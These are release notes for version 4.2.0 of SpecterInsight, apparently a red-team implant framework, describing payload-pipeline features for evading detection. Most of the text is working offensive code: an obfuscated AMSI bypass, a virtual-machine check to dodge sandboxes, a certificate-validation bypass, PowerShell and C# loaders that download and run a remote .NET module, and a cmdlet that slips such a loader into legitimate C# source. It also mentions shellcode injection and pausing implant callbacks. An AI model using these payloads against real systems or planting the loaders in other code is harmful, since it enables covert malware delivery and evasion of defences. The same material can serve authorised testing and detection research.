Version 4.2.0: Payload Pipeline Improvements

Overview

This release primarily focuses on improving the SpecterInsight payload pipelines. We rolled out a bunch of new features to improve both our PowerShell and .NET payload pipelines with a focus on evading detection and blending into the environment.

Features

  • Payload Pipelines
    • Added Filter argument to pwsh function, variable, and string obfuscation cmdlets so that only AST nodes that match one of the provided regular expressions is obfuscated.
    • Added PwshCertificateValidationTechnique parameter to each PowerShell payload generator cmdlets to control how validation is handled.
    • Get-PwshTrigger cmdlet generates a trigger technique to mitigate sandbox analysis.
    • Get-PwshTemplate cmdlet retrieves legitimate PowerShell script from a library of over 100K scripts in order to make a payload look more legitimate.
    • Get-PwshFunctionTemplate cmdlet retrieves a function from a library of hundreds of thousands of scripts.
    • Obfuscate-PwshConvertToFunction takes in a PowerShell script and converts it to a nicely formatted function.
    • Get-PwshCertificateValidationBypass cmdlet generates a PowerShell script to disable SSL/TLS certificate validation.
    • Format-PwshWhitespace cmdlet takes in a PowerShell script and normalizes the white space so the script look pretty.
    • Format-LineEndings cmdlet normalizes line endings so that they are either all \n or all \r\n.
    • Obfuscate-PwshTypeExpressions cmdlet converts type references to strings for later obfuscation.
    • Added EncodeJson string obfuscation technique to the Obfuscate-PwshStrings cmdlet.
    • Get-ChatGPTResponse cmdlet runs the specified query and returns the results as a string.
    • Add-CsLoadModule cmdlet takes in C# source code and inserts a payload to download a .NET module and run it. This allows payloads to be inserted into otherwise legitimate code.
    • Get-CsSpecter cmdlet returns the C# source code for the SpecterInsight payload.
    • Combine-CsFiles cmdlet takes in several C# source code strings and combines them into one file.
  • SpecterScripts
    • Added byte array input in Base64 and Hex formats (e.g. 0x1A, 0x49, .., ). This will allow for operators to specify, for example, to copy and paste shellcode from another implant framework into inspector script for process injection.
    • Inject-Shellcode cmdlet allows operators to inject the specified shellcode into the target process using any one of the built-in injection techniques.
    • Pause-Callbacks cmdlet pauses all callbacks until the specified time elapses.
  • Bugs
    • Fixed bug where the Cancel button when downloading a payload pipeline left the file handle open, locking the output file.
    • Fixed bug where the interactive session window title displayed the incorrect information.
    • Fixed bug where the C# Variable obfuscation renames override properties.
    • Fixed bug where the C# Variable obfuscation did not handle events correctly.

Screenshots

Filter Argument

The -Filter argument allows operators to select which PowerShell AST nodes will be obfuscated by passing in a set of regular expressions. Only AST nodes that match one or more of the regular expressions will be obfuscated.

This allows operators to tailor their obfuscation techniques so that only the nodes that need to be obfuscated will be modified.

Script
$payload = Get-PwshAmsiBypass -Technique InitFailed;
$payload | Obfuscate-PwshStrings -Technique EncodeJson -IncludeBareWord -Filters @('amsi','http://', 'https://', 'Assembly', 'WebClient', 'CertificateValidator', 'iex', 'Invoke-Expression', 'Invoke-Command', 'icm', 'Add-Type');
Output
function Disconnect-Wwan {
    param(
        [Parameter(Mandatory = $true, Position = 0)]
        [string]$Json
    )

    $bytes = [System.Convert]::FromBase64String($Json);
    $ms = New-Object System.IO.MemoryStream(, $bytes);
    $gz = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress);
    $sr = New-Object System.IO.StreamReader($gz);
    $text = $sr.ReadToEnd();
    return $text | ConvertFrom-Json;
}

$instance = Disconnect-Wwan 'H4sIAAAAAAACA6vmUlBQSklSslJQciwuTs1NyqlU0gGJJebkgASDK4tLUnP1fBPzEtNTc1PzSvQcS0vycxNLMvPz9BxzizNDSzJziiFa8vJTUkF6EoHCnnmZJW6JmTmpKUpctQD6+8M8ZQAAAA==';


function Set-Value {
    param(
        [Parameter(Mandatory = $true)]
        [Type]$Type,

        [Parameter(Mandatory = $true)]
        [string]$Name,

        [Parameter(Mandatory = $true)]
        [object]$Value
    )

    $method = "GetField";
    $setter = "SetValue";

    $field = $Type.$method($Name,"NonPublic,Static");
    $field.$setter($null,$Value);
}

if($PSVersionTable.PSVersion.Major -gt 2) {
    $Assembly = $instance.db;
    $method = "GetType";
    $type = [Ref].$Assembly.$method($instance.all);
    $name = $instance.node;
    Set-Value $type $name $true;
}

Get-PwshTrigger

This cmdlet generates a script that will stop execution of the specified criteria isn’t met (e.g. the system must have at least two processor cores).

Script
Get-PwshTrigger
Output
$model = (Get-WmiObject Win32_ComputerSystem).Model;
if ($model -like "*Virtual*") {
    exit;
}

Get-PwshTemplate

This cmdlet randomly selects a benign, non-malicious PowerShell script that can be used to help obfuscate PowerShell payloads.

Script
Get-PwshTemplate
Output
<#
.SYNOPSIS
Disables the Bing Internet Search when using the search field in the Taskbar or Start Menu.

.DESCRIPTION
Disables the Bing Internet Search when using the search field in the Taskbar or Start Menu.

This is usable on all Windows versions pre and post Windows 2004 release (OS version 10.0.19041).

.NOTES
Boxstarter (https://boxstarter.org) (c) 2018 Chocolatey Software, Inc, 2012 - 2018 Matt Wrock.

.LINK
https://boxstarter.org
https://www.privateinternetaccess.com/forum/discussion/18301/how-to-uninstall-core-apps-in-windows-10-and-miscellaneous
https://www.lifehacker.com.au/2020/06/how-to-disable-bing-search-in-windows-10s-start-menu-2/

#>
function Disable-BingSearch {
    [CmdletBinding()]
    Param()

    $path = 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Search'
    $windows2004AndLaterPath = 'HKCU:\Software\Policies\Microsoft\Windows\Explorer'
    $windows2004Version = '10.0.19041'

    $osVersion = (Get-CimInstance -ClassName Win32_OperatingSystem).Version
    if ([version]$osVersion -ge [version]$windows2004Version) {
        if (-not (Test-Path -Path $windows2004AndLaterPath)) {
            $null = New-Item -Path $windows2004AndLaterPath
        }

        $null = New-ItemProperty -Path $windows2004AndLaterPath -Name 'DisableSearchBoxSuggestions' -Value 1 -PropertyType 'DWORD'
    }
    else {
        if( -not (Test-Path -Path $path)) {
            $null = New-Item -Path $path
        }

        $null = New-ItemProperty -Path $path -Name "BingSearchEnabled" -Value 0 -PropertyType "DWORD"
    }
}

Get-PwshFunctionTemplate

This cmdlet randomly selects one or more benign, non-malicious PowerShell functions that can be used to help obfuscate PowerShell payloads.

Script
Get-PwshFunctionTemplate
Output
Function Find-OutdatedModules {
    <#
        .SYNOPSIS
        Returns a list of modules that are outdated on a system
        
        .PARAMETER Computername
        String array of Computers to query

        .EXAMPLE
        Find-OutdatedModules

        .EXAMPLE
        Find-OutdatedModules -Computername pc1

        .EXAMPLE
        Import-CSV C:\temp\pclist.csv | Find-OutdatedModules
    #>
    [cmdletBinding()]
    Param(

    [Parameter(Position=0,ValueFromPipeline,ValueFromPipelineByPropertyName)]
    [string[]]
    $Computername

    )

    Begin {}

    Process {
        $Scriptblock = {

            Get-InstalledModule | 
            Select-Object Name, @{Name='Installed';Expression={$_.Version}},
            @{Name='Available';Expression={(Find-Module -Name $_.Name).Version}} |
            Where-Object {$_.Available -gt $_.Installed}

        }

        If($Computername){

            Invoke-Command -ComputerName $Computername -ScriptBlock $Scriptblock

        }

        Else {

            $Scriptblock.InvokeReturnAsIs()

        }

    }

    End {}
}

Get-PwshCertificateValidationBypass

This cmdlet generates a PowerShell script to bypass certificate validation using a variety of techniques.

Script
Get-PwshCertificateValidationBypass
Output
Add-Type @"
using System;
using System.Net;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;

public static class ResourceLocker
{
    private static bool ManageGroups(object tempResult, X509Certificate tempArray, X509Chain heightValue, SslPolicyErrors tempFlag)
    {
        return true;
    }

    public static void ExportConfiguration()
    {
        ServicePointManager.ServerCertificateValidationCallback = ResourceLocker.ManageGroups;
        ServicePointManager.Expect100Continue = true;
        SecurityProtocolType tempData = (SecurityProtocolType)0;
        foreach (SecurityProtocolType startDate in Enum.GetValues(typeof(SecurityProtocolType)))
        {
            SecurityProtocolType requestData = tempData | startDate;
            try
            {
                ServicePointManager.SecurityProtocol = requestData;
                tempData = requestData;
            }
            catch
            {
            }
        }

        ServicePointManager.SecurityProtocol = tempData;
    }
}
"@;
[ResourceLocker]::ExportConfiguration();

Format-PwshWhiteSpace

This cmdlet takes in a PowerShell script and normalizes whitespace to make it prettier.

Script
$code = @"
function Get-RandomString {
param(
   [Parameter(Mandatory = $false)]
   [int]`$Length = 20
 )

 `$builder = New-Object System.Text.StringBuilder;
 for(`$i = 0; `$i -lt `$Length; `$i++){
    `$random = Get-Random -Minimum 97 -Maximum 122;
    [void]`$builder.Append([char]`$random);
      }
    }

Get-RandomString
"@;

$code | Format-PwshWhiteSpace
Output
function Get-RandomString {
    param(
        [Parameter(Mandatory = False)]
        [int]$Length = 20
    )

    $builder = New-Object System.Text.StringBuilder;
    for($i = 0; $i -lt $Length; $i++){
        $random = Get-Random -Minimum 97 -Maximum 122;
        [void]$builder.Append([char]$random);
    }
}

Get-RandomString

Obfuscate-PwshTypeExpressions

Converts the specified type expressions to strings for future obfuscation. This can mitigate signatures for things like System.Reflection.Assembly.

Script
$payload = Get-PwshLoadModuleFromURL -Pipeline 'win_any';
$payload | Obfuscate-PwshTypeExpressions;
Output
$name = [Type]'System.Net.ServicePointManager';
$path = [Type]'System.Reflection.Assembly';

$name::ServerCertificateValidationCallback = { $true }
$client = New-Object System.Net.WebClient;
$contents = $client.DownloadData('http://localhost/static/resources/?build=default&kind=win_any');
if($contents -eq $null) {
    exit;
}

$module = $path::Load($contents);
$parameters = [string[]]@();
$module.EntryPoint.Invoke($null, $parameters);

Obfuscate-PwshStrings -Technique EncodeJson

This cmdlet obfuscates the specified strings in the provided PowerShell script. Strings are replaced with expressions that deobfuscate the strings at runtime. The EncodeJson technique embeds all matching strings into a JSON blob, GZip compresses the data, and stores it in the script in a Base64 string. That data is extracted at runtime and each obfuscated string can be referenced via a randomized property of the deserialized JSON object.

Script
$payload = Get-PwshLoadModuleFromURL -Pipeline 'win_any';
$payload | Obfuscate-PwshStrings -Technique EncodeJson;
Output
function Build-Shapeable {
    param(
        [Parameter(Mandatory = $true, Position = 0)]
        [string]$Json
    )

    $bytes = [System.Convert]::FromBase64String($Json);
    $ms = New-Object System.IO.MemoryStream(, $bytes);
    $gz = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress);
    $sr = New-Object System.IO.StreamReader($gz);
    $text = $sr.ReadToEnd();
    return $text | ConvertFrom-Json;
}

$uri = Build-Shapeable 'H4sIAAAAAAACAwXBwQqAIAwA0LtfIR667i5InxJLDUdDw21ERP/ee6/zPtjkEH1oqlcE4JGR2xAFUVTKMKsMm7kKrLsRl1Tqgca6nNRLuqlv2J/gvh/qeTOmTAAAAA==';


[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$client = New-Object System.Net.WebClient;
$contents = $client.DownloadData($uri.url);
if($contents -eq $null) {
    exit;
}

$module = [System.Reflection.Assembly]::Load($contents);
$parameters = [string[]]@();
$module.EntryPoint.Invoke($null, $parameters);

Get-ChatGPTResponse

This cmdlet combines the input and the prompt and submits it to ChatGPT. The response is output in text format. Anything that is piped into the cmdlet is appended to the end of the query.

In the example here, the prompt references the function template that is piped into the Get-ChatGPTResponse.

Script
Get-PwshFunctionTemplate | Get-ChatGPTResponse -Prompt "Clean up this function, generate inline comments, and append a call to this function. Return only the commented function and call in plaintext with no markdown formatting." -ApiKey "REDACTED";
Output
function Get-Provisioned {
    [CmdletBinding()]
    Param($PreCheck)

    # Write to verbose stream
    Write-Verbose "[$($MyInvocation.MyCommand)] Checking - V-1098"

    # Initialize the results hash table
    $Results = @{
        VulnID   = "V-1098"
        RuleID   = ""
        Details  = ""
        Comments = ""
        Status   = "Not_Reviewed"
    }

    # Look for "ResetLockoutCount" in secEdit property
    $raw = $PreCheck.secEdit -match "ResetLockoutCount"

    # If "ResetLockoutCount" value found
    if($raw.Length -gt 0){
        # Convert the second field after '= ' to an integer
        [int]$value = $raw -split '= ' | select -Last 1

        # Compare $value to 15
        if ($value -ge 15) {
            $Results.Status = "NotAFinding"
            $Results.Details = "Time before lockout is reset is set to $value. See comments for details."
        }
        else {
            $Results.Status = "Open"
            $Results.Details = "Time before lockout is reset is NOT set correctly. See comments for details."
        }

        # Add Secedit.exe output to comments
        $Results.Comments = "Secedit.exe reports: $raw"
    }
    else{
        # Update details if no ResetLockoutCount found
        $Results.Details = "Value not found in secedit.exe!"
    }

    # Write check completion to verbose stream
    Write-Verbose "[$($MyInvocation.MyCommand)] Completed Checking - V-1098 [$($Results.Status)]"

    #Return results hash table
    return $Results
}

# Call the function 
Get-Provisioned -PreCheck $PreCheck

Add-CsLoadModuleFromURL

This cmdlet adds a .NET loader to the provided C# source code along with a method call statement to trigger the loader. That statement is inserted into the specified method. When triggered the loader will download and run a .NET module from the specified URL or Pipeline.

Script
$code = @"
using System;

class Program
{
    static void Main(string[] args)
    {
        Console.WriteLine("Hello, World!");
    }
}

"@;

$code | Add-CsLoadModuleFromURL -Pipeline 'win_any';
Output
using System;
using System.Net;
using System.Net.Security;
using System.Reflection;
using System.Security.Cryptography.X509Certificates;
using System.Threading;

class Program
{
    static void Main(string[] args)
    {
        CSharpLoadModule3.Loader.Apply();
        Console.WriteLine("Hello, World!");
    }
}

namespace CSharpLoadModule3
{
    internal delegate Assembly LoadModule(byte[] contents);
    internal delegate object Invoke(object a, object[] parameters);
    public static class Loader
    {
        public static void Apply()
        {
            byte[] contents = Loader.DownloadAssembly("http://localhost/static/resources/?build=default&kind=win_any");
            if (contents != null)
            {
                MethodInfo method = Loader.GetMethod(contents);
                ParameterInfo[] parameters = method.GetParameters();
                object[] args = null;
                if (parameters.Length == 1 && parameters[0].ParameterType.Equals(typeof(string[])))
                {
                    args = new object[]
                    {
                        new string[0]
                    };
                }

                MethodInfo invokeMethod = typeof(MethodInfo).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }, null);
                Invoke invoke = (Invoke)Delegate.CreateDelegate(typeof(Invoke), method, invokeMethod);
                invoke(null, args);
            }
        }

        private static MethodInfo GetMethod(byte[] binary)
        {
            MethodInfo method = typeof(Assembly).GetMethod("Load", new Type[] { typeof(byte[]) }, null);
            LoadModule load = (LoadModule)Delegate.CreateDelegate(typeof(LoadModule), method);
            Assembly assembly = load(binary);
            return assembly.EntryPoint;
        }

        private static byte[] DownloadAssembly(string url)
        {
            // Ignore SSL certificate errors
            ServicePointManager.ServerCertificateValidationCallback += Loader.ServerCertificateValidationCallbackHandler;
            ServicePointManager.Expect100Continue = true;
            SecurityProtocolType type = (SecurityProtocolType)0;
            foreach (SecurityProtocolType option in Enum.GetValues(typeof(SecurityProtocolType)))
            {
                SecurityProtocolType modified = type | option;
                try
                {
                    ServicePointManager.SecurityProtocol = modified;
                    type = modified;
                }
                catch
                {
                }
            }

            ServicePointManager.SecurityProtocol = type;
            // Create a valid user agent string
            string userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
            using (WebClient client = new WebClient())
            {
                client.Headers.Add("user-agent", userAgent);
                return client.DownloadData(url);
            }
        }

        private static bool ServerCertificateValidationCallbackHandler(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
        {
            return true;
        }
    }
}

Inject-Shellcode

Pause-Callbacks

The Pause-Callbacks SpecterScript will block all callbacks from the implant until the specified time or offset. For example, you can tell a specter implant to pause callbacks for 12 hours so that it won’t callback until you come back on shift.

In the example to the right, you can see that the Pause-Callbacks cmdlet paused all callbacks for 5 minutes, overriding the default callback interval of 5 – 10 seconds.

Leave a Reply

Your email address will not be published. Required fields are marked *

Scroll to Top